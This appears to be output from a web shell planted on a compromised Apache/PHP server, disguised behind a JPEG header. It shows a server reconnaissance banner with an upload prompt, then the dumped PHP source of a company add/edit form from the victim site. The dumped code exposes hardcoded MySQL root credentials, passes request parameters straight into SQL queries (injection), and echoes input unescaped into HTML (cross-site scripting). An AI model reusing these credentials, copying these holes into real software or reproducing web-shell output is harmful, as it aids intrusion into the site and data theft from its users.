????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.48 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/icad.astacus.se/project/ |
Upload File : |
<?php
session_start();
$link = mysql_connect ("localhost", "root", "root123");
mysql_select_db ("vpa");
$showAll = "true";
$ProjectId = $_GET['projectId'];
$CompanyId = $_SESSION['ASTACUS_SSO_INFO'][4];
$CustomerRelation = $_SESSION['ASTACUS_SSO_INFO'][0];
echo("companyid ".$_SESSION['ASTACUS_SSO_INFO'][4]);
echo("countryid ".$_SESSION['ASTACUS_SSO_INFO'][12]);
if($_GET["action"] == "add"){
}else if($_GET["action"] == "edit"){
$sql = "SELECT * FROM Company Where CompanyId = ".$_GET['companyId'];
$result = mysql_query($sql);
while ($row = mysql_fetch_assoc($result)){
$Name = $row['Name'];
$Street = $row['Street'];
$PostalCode = $row['PostalCode'];
$City = $row['City'];
$Source = $row['Source'];
$Country = $row['Country'];
$CustomerRelation = $row['SalesResponsibleUserId'];
$InvoiceAddress = $row['InvoiceAddress'];
}
}
?>
<link href="../main.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; }
-->
</style>
<script type="text/javascript" src="calendar.js"></script>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td width="90"> </td>
<td width="820"><table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="5" valign="top"> <table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr >
<td colspan="4" valign="top" class="text"><span class="heading1">Add/Change Company</span></td><td width="357" valign="top" class="textthin"><div align="right"><span class="heading1"><a href="javascript:history.back(-1);"><img src="../images/Back-Arrow.jpg" width="37" height="36" border="0" align="absmiddle"></a> <a href="javascript:history.back(-1);" class="blacklinkhuge">Back </a></span></div></td>
</tr>
</table>
<span class="heading2"><br>
</span>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="743" valign="top"><form id="form1" name="form1" method="post" action="addupdate_customer.php?companyId=<?php echo($_GET['companyId']);?>&action=<?php echo($_GET['action']);?>">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="44%"><span class="style6">Name:</span></td>
<td width="56%" align="right" class="style6"><label for="textfield"></label>
<input name="Name" type="text" id="Name" value="<?php echo($Name);?>" size="40" /></td>
</tr>
<tr>
<td><span class="style6">Address:</span></td>
<td align="right" class="style6"><input name="Street" type="text" id="Street" value="<?php echo($Street);?>" size="40" /></td>
</tr>
<tr>
<td><span class="style6">Postal Addrss:</span></td>
<td align="right" class="style6"><input name="PostalCode" type="text" id="PostalCode" value="<?php echo($PostalCode);?>" size="40" /></td>
</tr>
<tr>
<td><span class="style6">City:</span></td>
<td align="right" class="style6"><label for="select">
<input name="City" type="text" id="City" value="<?php echo($City);?>" size="40" />
</label></td>
</tr>
<tr>
<td><span class="style6">Country:</span></td>
<td align="right" class="style6"><?php if($_SESSION['ASTACUS_SSO_INFO'][3] == 8){?>
<select name="Country" id="Country">
<option value="Sweden">Choose</option>
<?php
$sql = "SELECT * FROM Country";
$result = mysql_query($sql);
while ($row = mysql_fetch_assoc($result)){
$sel = "";
if($row['Name'] == $Country){
$sel ="selected";
}
echo("<option ".$sel." value='".$row['Name']."'>".$row['Name']."</option>");
}
?>
</select>
<?php }else{
$sql = "SELECT * FROM Country where CountryId=".$_SESSION['ASTACUS_SSO_INFO'][12];
$result = mysql_query($sql);
$AstacusPM = "";
while ($row = mysql_fetch_assoc($result)){ ?>
<input type="Country" value="<?php echo($row['Name']);?>" readonly>
<?php
}
}?></td>
</tr>
<tr>
<td valign="top" class="style6">Inovoice Address:<br />
(If not same as above)</td>
<td align="right" class="style6">
<textarea name="InvoiceAddress" cols="38" rows="5" id="InvoiceAddress"><?php echo($InvoiceAddress);?></textarea>
</td>
</tr>
<tr>
<td valign="top" class="style6">Sales Responsible:</td>
<td align="right" class="style6"><select name="CustomerRelation" id="CustomerRelation">
<option>Choose</option>
<?php
$sql = "SELECT * FROM SystemUser where ( UserGroupID = 8 or UserGroupID = 12) and SystemUserStatusId = 1 and CountryId = ".$_SESSION['ASTACUS_SSO_INFO'][12];
$result = mysql_query($sql);
$AstacusPM = "";
while ($row = mysql_fetch_assoc($result)){
$sel = "";
if($row['SystemUserId'] == $CustomerRelation){
$sel ="selected";
}
echo("<option ".$sel." value='".$row['SystemUserId']."'>".$row['Name']." (".$row['Username'].")</option>");
}
?>
</select>
</td>
</tr>
<tr>
<td><span class="style6">Source:</span></td>
<td align="right" class="style6"><select name="Source" id="Source">
<option value="1" <?php if($Source == 1){echo("selected");}?>>The company contacted us</option>
<option value='2' <?php if($Source == 2 or $Source == 0 ){echo("selected");}?>>We contacted the company</option>
<option value='3' <?php if($Source == 3){echo("selected");}?>>Third part contacted the company</option>
?>
</select></td>
</tr>
<tr>
<td> </td>
<td align="right" class="style6"><input name="CompanyId" type="hidden" id="CompanyId" value="<?php echo($_GET['CompanyId']);?>" /> <input type="submit" name="button" id="button" value="Spara!" /></td>
</tr>
</table>
<span class="heading2"><br>
</span><span class="heading2"> </span>
</form></td>
<td width="63"> </td>
<td width="219" valign="top"><script type="text/javascript" src="http://download.skype.com/share/skypebuttons/js/skypeCheck.js"></script>
<br></td></tr>
</table>
<span class="style6"><br>
</span></td>
</tr>
</table>
</td>
<td width="90"> </td>
</tr>
<tr>
<td colspan="3"> </td>
</tr>
</table>